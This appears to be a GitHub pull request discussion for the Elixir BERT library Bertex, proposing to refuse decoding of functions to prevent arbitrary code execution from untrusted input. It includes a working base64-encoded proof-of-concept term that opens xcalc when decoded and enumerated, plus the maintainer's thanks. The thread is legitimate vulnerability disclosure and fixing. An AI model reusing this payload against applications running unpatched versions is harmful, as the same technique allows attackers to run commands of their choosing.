Refuse to encode/decode functions

[braunse]

Avoids security vulnerabilities when decoding untrusted inputs, potentially resulting in arbitrary code execution, similar to CVE-2020-15150.

Proof of concept:

"g3AAAAGUArmNguoOmUJOwZi4O+mUWk8AAAArAAAAAWQACGVybF9ldmFsYStiBcxsF1hkAA1ub25vZGVAbm9ob3N0AAAArgAAAAAAAAAAaARqZAAEbm9uZWQABG5vbmVsAAAAAWgFZAAGY2xhdXNlYQVsAAAAAmgDZAAFdHVwbGVhAGwAAAACaANkAARhdG9tYQBkAARjb250aANkAAN2YXJhBWQABF94QDFqaANkAAN2YXJhBWQAAV9qamwAAAACaARkAARjYWxsYQVoBGQABnJlbW90ZWEFaANkAARhdG9tYQBkAA1FbGl4aXIuU3lzdGVtaANkAARhdG9tYQVkAANjbWRsAAAAAmgDZAADYmluYQBsAAAAAWgFZAALYmluX2VsZW1lbnRhAGgDZAAGc3RyaW5nYQBrAAV4Y2FsY2QAB2RlZmF1bHRkAAdkZWZhdWx0amgCZAADbmlsYQBqaANkAAV0dXBsZWEAbAAAAAJoA2QABGF0b21hAGQABGRvbmVoA2QAA3ZhcmEFZAAEX3hAMWpqag==" |> Base.decode64!() |> Bertex.decode() |> Enum.count()

will open xcalc when executed on a Linux system that has it.

[edgurgel]

Thanks for the PR! I will release a new version soon with this security fix!